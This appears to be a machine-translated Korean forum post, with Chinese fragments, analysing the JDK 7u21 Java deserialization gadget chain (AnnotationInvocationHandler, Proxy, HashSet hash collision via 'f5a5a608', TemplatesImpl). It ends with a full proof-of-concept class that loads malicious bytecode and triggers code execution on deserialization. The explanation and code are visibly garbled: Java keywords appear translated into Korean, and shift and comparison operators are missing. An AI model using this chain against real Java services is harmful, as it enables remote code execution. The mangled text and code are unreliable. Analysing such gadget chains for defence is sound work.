KoreanHackerTeam
Moderator
JDK 7U21 Gadget
질문이전 기사는 타사 라이브러리를 사용하여 사막화 이용 체인을 소개합니다. 적절한 제 3 자 라이브러리가 없을 때 Java Dessorialization을 여전히 악용 할 수 있는지 여부.
우선, 타사 라이브러리에 의존하지 않는 Java Deserialization Utilization 체인이 있지만 새로운 Java 버전에는 그러한 문제가 없습니다.
1 原理
JDK7U21의 핵심 지점은 Sun.reflect.annotation.annotationInvocationHandler입니다.이 클래스는 이전 분석에서 언급되었습니다. AnnotationInvocationHandler 클래스에는 equalsimpl 메소드 :이 있습니다.
반사 호출 : membermethod.invoke (o) 및 membermethod는 this.type.getDeclaredMethods ()에서 나옵니다.

다시 말해서, equalsimpl 메소드는이. 타입 클래스에서 모든 메소드를 가로 지르고 실행합니다. 그런 다음 this.type가 템플릿 클래스라고 가정하면 newTransformer () 또는 getoutputproperties () 메소드가 불가피하게 호출되고 임의의 코드 실행이 트리거됩니다. 이것이 JDK7U21의 핵심 원리입니다.
2 构造
현재 아이디어는 사막화를 통해 equalsimpl을 호출하는 것입니다. equalsimpl은 AnnotationInvocationHandler#에서 호출 된 개인 메소드입니다.
InvocationHandler는 인터페이스이며 하나의 메소드 만 호출됩니다.
이전 기사에서 언급했듯이 java.reflect.proxy를 사용하여 인터페이스를 동적으로 바인딩 할 때 인터페이스의 메소드가 호출되면 InvocationHandler#invoke로 실행됩니다. INVOKE를 실행할 때 전달 된 첫 번째 매개 변수는 프록시 오브젝트이고, 두 번째 매개 변수는 실행될 메소드 이름이고, 세 번째 매개 변수는 실행 중 매개 변수 목록입니다.
AnnotationInVocationHandler는 InvocationHandler 인터페이스의 구현입니다.

메소드 이름이 동일하고 객체 유형 매개 변수가 하나만 있으면 equeimpl 메소드가 호출된다는 것을 알 수 있습니다. 따라서 문제는 이제 필수화 할 때 프록시에서 평등 메소드를 호출하는 방법을 찾는 것입니다.
3 调用链
Java 객체를 비교할 때 두 가지 공통 방법이 사용됩니다.동등합니다
비교
모든 Java 객체에는 Equals 메소드가 있으며, 이는 일반적으로 두 개의 객체가 동일한 참조인지 비교하는 데 사용됩니다. Equals 호출되는 또 다른 일반적인 시나리오가 설정됩니다. 세트에 저장된 객체는 반복 할 수 없으므로 객체를 추가 할 때 비교 작업이 필연적으로 관련됩니다.
Hashset의 readObject 메소드 :

해시 맵이 여기에 사용되며, 해시 맵의 키의 물체를 저장하여 무거운 하중을 제거합니다.
Hashmap의 PUT 방법에 대한 후속 조치 :

변수 i는 해시 값입니다. 두 개의 다른 객체의 i가 동일 할 때만 key.equals (k)를 실행하여 위에서 언급 한 코드 실행을 트리거합니다.
다음 아이디어는 프록시 객체의 해시를 templateimpl 객체의 해시와 동일하게 만드는 것입니다.
해시를 계산하는 가장 중요한 것은 다음 두 줄의 코드입니다.
1
2
int hash=해시 (키);
int i=indexfor (Hash, table.length);
주요 로직을 추출하면 다음 기능을 얻을 수 있습니다 :
1
2
3
4
5
6
7
public static int hash (객체 키) {
int h=0;
h ^=key.hashcode ();
h ^=(h 20) ^ (h 12);
H=H ^ (H 7) ^ (H 4);
r 15;
}
key.hashcode ()을 제외한 다른 변수는 없으므로 프록시 오브젝트의 해시와 템플릿 객체 객체가 동일한지 여부는 두 객체의 hashcode () 반환 값이 동일인지에만 의존합니다. TemplateImpl 的hashcode () 是一个aviL 方法方法方法, 每次运行都会发生变化, 理论上是无法预测的, 所以想让proxy 的hashcode () 与之相等与之相等, 只能通过proxy.hashcode ()。
proxy.hashcode ()는 여전히 AnnotationInvocationHandler#호출을 호출 한 다음 annotationInvocationHandler#hashcodeimpl을 호출 하고이 방법에 대한 후속 조치 :을 호출합니다.

이 맵의 각 키와 값을 반복하고 각 (127 * key.hashcode ()) ^ value.hashcode ()를 계산하고 합계하십시오.
JDK7U21에서 매우 영리한 방법이 사용됩니다.
멤버values에는 하나의 키와 하나의 값 만 있으면 해시가 (127 * key.hashcode ()) ^ value.hashcode ()로 단순화됩니다.
Key.hashCode ()==0 일 때 숫자 XOR 0의 결과는 여전히 자체이므로 해시는 value.hashCode ()로 단순화됩니다.
값이 templateimpl이면 두 해시가 완전히 동일 해집니다.
따라서 해시 코드가 0 인 객체의 키를 찾고 악성 TemplateImpl 객체를 값으로 사용하면 프록시로 계산 된 해시 코드는 TemplateImpl 객체 자체의 해시 코드와 같습니다.
해시 코드 0이있는 객체를 찾아 간단한 폭발 프로그램을 통해 구현하십시오.
1
2
3
4
5
6
7
8
공개 정적 무효 BRUTEHASHCODE ()
{
for (long i=0; i 9999999999L; i ++) {
if (long.toHexString (i) .HASHCODE ()==0) {
System.out.println (long.tohexstring (i));
}
}
}
첫 번째 결과는 F5A5A608이며, 이는 Ysoserial에서 사용되는 문자열이기도합니다.
4 总结
아래 단계를 따라 구성하려면 구성하십시오.악의적 인 템플릿 impl 객체를 생성합니다
AnnotationInVocationHandler 객체를 인스턴스화하십시오
유형 속성은 TemplateImpl 클래스입니다
MemberValues 속성은 맵이며 맵에는 하나의 키와 값 만 있습니다. 열쇠는 문자열입니다. 값은 이전에 생성 된 악의적 인 Templateimpl 객체입니다.
이 annotationinvocation handler 객체에 대한 프록시 레이어를 만들고 프록시 객체를 생성하십시오.
두 개의 요소, 즉 두 가지 요소가있는 해시셋을 인스턴스화합니다.
templateimpl 객체
프록시 객체
해시 세트 객체를 직렬화하십시오
코드 실행을 유발하는 사제화 프로세스는 다음과 같습니다.
해시 맵 키를 사용하여 해시 세트의 readObject 메소드를 트리거합니다.
중복 제거가 사용되면 해시 세트에서 두 요소의 해시 코드를 계산 한 다음 동일하게 구성하여 equals () 메소드를 트리거하십시오.
AnnotationInVocationHandler#equalsimpl 메소드를 호출하십시오
this.type in equalsimpl 및 call의 각 방법을 반복하십시오.
this.type는 templatesimpl 클래스이므로 newTransform () 또는 getoutputproperties () 메소드가 트리거됩니다.
모든 코드를 실행하십시오
POC는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
패키지 main.java;
import com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.transformerfactoryimpl;
javax.xml.transform.templates import;
import java.io.bytearrayinputstream;
import java.io.BytearRayoutputStream;
import java.io.objectinputstream;
import java.io.objectoutputStream;
java.lang.reflect.constructor import;
import java.lang.reflect.field;
import java.lang.reflect.invocationHandler;
java.lang.reflect.proxy import;
import java.nio.file.files;
java.nio.file.paths import;
java.util.hashmap import;
java.util.hashset 가져 오기;
java.util.linkedhashset import;
java.util.map import;
공개 클래스 OriginalGadgetDemo {
public static void main (string [] args)은 예외 {
BYTE [] code=files.readAllBytes (paths.get ( '/volumes/macOS/workspace/java/7U21GADGET/SRC/MAIN/JAVA/EVILTEMPLATESIMPL.class'));
TemplatesImpl Templates=새로운 TemplatesImpl ();
setfieldValue (Templates, '_bytecodes', new Byte [] [] {code});
setfieldValue (템플릿, '_name', 'hellotemplatesimpl');
setfieldValue (Templates, '_tfactory', new TransformerFactoryImpl ());
문자열 ZeroHashCodest='f5a5a608';
//맵을 인스턴스화하고 매직 번호를 키로 추가하십시오. 즉, F5A5A608은 언제라도 값을 설정하십시오.
해시 맵 맵=new Hashmap ();
map.put (Zerohashcodestrest, 'foo');
//annotationInvocationHandler 클래스를 인스턴스화합니다
생성자 handlerConstructor=class.forname ( 'sun.reflect.annotation.annotationInvocationHandler'). getDeclaredConstructor (class.class, map.class);
handlerconstructor.setAccessible (true);
invocationHandler temphandler=(invocationHandler) handlerConstructor.newinstance (templates.class, map);
//Temphandler의 프록시 레이어를 만듭니다
Templates proxy=(템플릿) proxy.newproxyInstance (OriginalGadgetDemo.class.getClassLoader (), new Class [] {templates.class}, Temphandler);
//해시 세트를 인스턴스화하고 두 개체를 넣습니다.
해시 세트=새로운 LinkedHashset ();
set.add (템플릿);
set.add (프록시);
//악성 템플릿을지도로 설정합니다
map.put (ZeroHashCodest, 템플릿);
bytearrayoutputStream barr=새로운 BytearRayoutputStream ();
ObjectOutputStream OOS=새로운 ObjectOutputStream (Barr);
oos.writeobject (set);
oos.close ();
//system.out.println (barr);
ObjectInputStream OIS=New ObjectInputStream (New ByTearRayInputStream (barr.tobytearRay ()));
Object O=(Object) OIS.ReadObject ();
}
public static void setfieldValue (Object OBJ, String FieldName, Object Value)는 예외 {{
필드 필드=obj.getClass (). getDeclaredfield (FieldName);
field.setAccessible (true);
field.set (obj, value);
}
}
参考
PHITH0N Java 채팅 시리즈Java Desorialization 취약성의 원리에 대한 분석
Java Desorialization 취약점은 처음부터 마감까지
0에서 Java Desorialization 취약성을 배우십시오
Java Desorialization 취약성을 이해하십시오
Java Desorialization 체인 완료 계획
체인 분석을 사용한 공통성 수집
심층적 인 Java 네이티브 사제화 JDK7U21 활용 체인 분석